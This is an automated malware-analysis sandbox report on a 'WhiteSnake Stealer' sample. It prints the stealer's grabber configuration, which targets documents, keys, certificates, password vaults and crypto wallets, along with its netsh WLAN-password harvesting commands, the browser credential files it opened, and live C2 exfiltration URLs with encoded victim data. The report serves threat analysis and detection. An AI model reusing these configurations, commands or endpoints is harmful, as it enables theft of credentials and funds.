name="0"><args><string>%UserProfile%\Documents</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Documents</string></args></command><command name="0"><args><string>%UserProfile%\Downloads</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.
Source: file.exe, 00000000.00000002.1654569150.0000027500333000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: s\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>*\*</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests*;PasswordMeta*;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string></args></command><command name="3"><args><string>Ronin</string><string>fnjhmkhhmkbjkkabndcnnogagogbneec</string></args></command><command name="3"><args><string>BinanceChain</string><string>fhbohimaelbohpjbbldcngcnapndodjp</string></args></command><command name="3"><args><string>TronLink</string><string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string></args></command><command name="3"><args><string>Phantom</string><string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string></args></command><command name="0"><args><string>%UserProfile%\Desktop</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Desktop Files</string></args></command><command name="0"><args><string>%UserProfile%\Documents</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Documents</string></args></command><command name="0"><args><string>%UserProfile%\Downloads</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.
Source: file.exe, 00000000.00000002.1654569150.0000027500333000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: s\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>*\*</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests*;PasswordMeta*;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string></args></command><command name="3"><args><string>Ronin</string><string>fnjhmkhhmkbjkkabndcnnogagogbneec</string></args></command><command name="3"><args><string>BinanceChain</string><string>fhbohimaelbohpjbbldcngcnapndodjp</string></args></command><command name="3"><args><string>TronLink</string><string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string></args></command><command name="3"><args><string>Phantom</string><string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string></args></command><command name="0"><args><string>%UserProfile%\Desktop</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Desktop Files</string></args></command><command name="0"><args><string>%UserProfile%\Documents</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Documents</string></args></command><command name="0"><args><string>%UserProfile%\Downloads</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.
Source: file.exe, 00000000.00000002.1654569150.0000027500333000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: s\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>*\*</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests*;PasswordMeta*;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string></args></command><command name="3"><args><string>Ronin</string><string>fnjhmkhhmkbjkkabndcnnogagogbneec</string></args></command><command name="3"><args><string>BinanceChain</string><string>fhbohimaelbohpjbbldcngcnapndodjp</string></args></command><command name="3"><args><string>TronLink</string><string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string></args></command><command name="3"><args><string>Phantom</string><string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string></args></command><command name="0"><args><string>%UserProfile%\Desktop</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Desktop Files</string></args></command><command name="0"><args><string>%UserProfile%\Documents</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Documents</string></args></command><command name="0"><args><string>%UserProfile%\Downloads</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.
Source: file.exe, 00000006.00000002.4099108693.000000BD93F6D000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live
Tries to harvest and steal WLAN passwords
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7500, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected WhiteSnake Stealer
Source: Yara match File source: 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7296, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: file.exe PID: 7500, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: file.exe PID: 7568, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: file.exe PID: 7656, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C310CB0 BIO_bind,bind,ERR_put_error,WSAGetLastError,ERR_put_error,ERR_put_error, 9_2_6C310CB0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C310DA0 BIO_listen,getsockopt,WSAGetLastError,ERR_put_error,ERR_put_error,BIO_socket_nbio,setsockopt,BIO_ADDR_family,BIO_bind,ERR_put_error,listen,WSAGetLastError,ERR_put_error,ERR_put_error,setsockopt,WSAGetLastError,ERR_put_error,ERR_put_error,setsockopt,WSAGetLastError,ERR_put_error,ERR_put_error,WSAGetLastError,ERR_put_error,ERR_put_error,__stack_chk_fail, 9_2_6C310DA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C310300 BIO_get_accept_socket,BIO_parse_hostserv,BIO_lookup,BIO_ADDRINFO_free,CRYPTO_free,CRYPTO_free,BIO_ADDRINFO_protocol,BIO_ADDRINFO_socktype,BIO_ADDRINFO_family,BIO_socket,BIO_ADDRINFO_address,BIO_listen,BIO_closesocket,WSAStartup,WSAGetLastError,ERR_put_error,ERR_put_error,__stack_chk_fail,BIO_accept,BIO_accept_ex,BIO_ADDR_hostname_string,BIO_ADDR_service_string,ERR_put_error,BIO_closesocket,strlen,strlen,CRYPTO_zalloc,strcpy,strlen,strcat,CRYPTO_free,CRYPTO_free,BIO_sock_should_retry,WSAGetLastError,ERR_put_error,ERR_put_error,__stack_chk_fail,BIO_set_tcp_ndelay,setsockopt, 9_2_6C310300
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1546608 Sample: file.exe Startdate: 01/11/2024 Architecture: WINDOWS Score: 100 74 objects.githubusercontent.com 2->74 76 ip-api.com 2->76 78 github.com 2->78 92 Suricata IDS alerts for network traffic 2->92 94 Found malware configuration 2->94 96 Antivirus / Scanner detection for submitted sample 2->96 98 9 other signatures 2->98 10 file.exe 7 2->10         started        14 file.exe 2 2->14         started        16 file.exe 2 2->16         started        18 3 other processes 2->18 signatures3 process4 file5 68 C:\Users\user\AppData\Local\...\file.exe, PE32 10->68 dropped 70 C:\Users\user\...\file.exe:Zone.Identifier, ASCII 10->70 dropped 72 C:\Users\user\AppData\Local\...\file.exe.log, CSV 10->72 dropped 122 Found many strings related to Crypto-Wallets (likely being stolen) 10->122 124 Self deletion via cmd or bat file 10->124 20 cmd.exe 1 10->20         started        signatures6 process7 signatures8 108 Uses schtasks.exe or at.exe to add and modify task schedules 20->108 110 Uses netsh to modify the Windows network and firewall settings 20->110 112 Tries to harvest and steal WLAN passwords 20->112 23 file.exe 14 51 20->23         started        28 conhost.exe 20->28         started        30 timeout.exe 1 20->30         started        32 2 other processes 20->32 process9 dnsIp10 86 104.161.33.60, 49738, 49740, 8080 IOFLOODUS United States 23->86 88 ip-api.com 208.95.112.1, 49736, 80 TUT-ASUS United States 23->88 90 3 other IPs or domains 23->90 60 C:\Users\user\AppData\Local\...\zlib1.dll, PE32 23->60 dropped 62 C:\Users\user\AppData\Local\...\tor-real.exe, PE32 23->62 dropped 64 C:\Users\user\AppData\...\tor-gencert.exe, PE32 23->64 dropped 66 8 other malicious files 23->66 dropped 114 Antivirus detection for dropped file 23->114 116 Multi AV Scanner detection for dropped file 23->116 118 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 23->118 120 6 other signatures 23->120 34 tor-real.exe 20 23->34         started        38 cmd.exe 23->38         started        40 cmd.exe 23->40         started        file11 signatures12 process13 dnsIp14 80 81.83.37.138, 49739, 9001 TELENET-ASBE Belgium 34->80 82 81.17.25.195, 2001, 49751 PLI-ASCH Switzerland 34->82 84 7 other IPs or domains 34->84 100 Found many strings related to Crypto-Wallets (likely being stolen) 34->100 102 Found Tor onion address 34->102 104 May use the Tor software to hide its network traffic 34->104 42 conhost.exe 34->42         started        106 Tries to harvest and steal WLAN passwords 38->106 44 conhost.exe 38->44         started        46 chcp.com 38->46         started        48 netsh.exe 38->48         started        50 findstr.exe 38->50         started        52 conhost.exe 40->52         started        54 chcp.com 40->54         started        56 netsh.exe 40->56         started        58 findstr.exe 40->58         started        signatures15 process16
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
81.83.37.138
 unknown Belgium
6848 TELENET-ASBE false
45.91.101.18
 unknown Germany
31400 ACCELERATED-ITDE false
81.21.4.110
 unknown Ukraine
24896 INTELLECOM-ASUA false
140.82.121.4
 github.com United States
36459 GITHUBUS false
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS false
185.233.107.110
 unknown Germany
197540 NETCUP-ASnetcupGmbHDE false
104.161.33.60
 unknown United States
53755 IOFLOODUS true
81.17.25.195
 unknown Switzerland
51852 PLI-ASCH false
51.255.106.85
 unknown France
16276 OVHFR false
131.188.40.189
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
68.67.32.32
 unknown Canada
33705 DIGITAL-SHAPE-TECHNOLOGIESCA false
176.9.38.121
 unknown Germany
24940 HETZNER-ASDE false
185.199.110.133
 objects.githubusercontent.com Netherlands
54113 FASTLYUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
github.com 140.82.121.4 true
ip-api.com 208.95.112.1 true
objects.githubusercontent.com 185.199.110.133 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://ip-api.com/line?fields=query,country false
    		unknown
    http://104.161.33.60:8080/mnemonic-verify/9632B569333595844815947611/CB82FF607F9FC43225429330EDBC46C9 true
      		unknown
      http://104.161.33.60:8080/sendData?pk=Q0I4MkZGNjA3RjlGQzQzMjI1NDI5MzMwRURCQzQ2Qzk=&ta=Qk9UX1BIQU5fQU5I&un=am9uZXM=&pc=MjI2NTMz&co=VW5pdGVkIFN0YXRlcw==&wa=MA==&be=MQ== true
        		unknown